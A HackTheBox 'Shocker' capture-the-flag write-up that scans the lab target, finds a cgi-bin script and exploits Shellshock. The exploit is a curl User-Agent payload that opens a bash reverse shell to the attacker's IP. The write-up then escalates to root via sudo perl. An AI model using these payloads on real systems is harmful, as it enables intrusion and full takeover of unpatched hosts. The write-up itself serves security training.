HackTheBox Shocker Writeup
Explore the fundamentals of cybersecurity in the Shocker Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.10.56 shocker.htb
Script to add hosts automatically
ip="10.10.10.56"
domain="shocker.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV shocker.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 21:03 CEST
Nmap scan report for shocker.htb (10.10.10.56)
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
CVE-2014-6271 (Shellshock)
Directory Bruteforcing with dirb
First, run dirb to scan for directories on the target:
dirb http://shocker.htb/
You will find the cgi-bin directory.
Fuzzing for Shellshock Vulnerable Scripts
Use ffuf to fuzz for potential vulnerable .sh scripts inside the cgi-bin directory:
ffuf -u http://shocker.htb/cgi-bin/FUZZ.sh -c -w /usr/share/dirb/wordlists/small.txt
Exploiting CVE-2014-6271 (Shellshock)
Set up a listener to catch the reverse shell:
nc -lvnp 9001
Then, use curl to exploit the Shellshock vulnerability by sending a malicious User-Agent header:
Replace
<vpn-ip>with your actual VPN IP to receive the connection.
curl -H "User-Agent: () { :;}; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/<vpn-ip>/9001 0>&1'" http://shocker.htb/cgi-bin/user.sh
Accessing the Target System
Once you recive the reverse shell, you can access files like:
cat /home/shelly/user.txt
Escalating Privileges with Sudo
Check for sudo permissions:
sudo -l
If you see the following entry:
(root) NOPASSWD: /usr/bin/perl
You can escalate privileges by running:
sudo perl -e 'exec "/bin/bash";'
This will give you a root shell.
cat /root/root.txt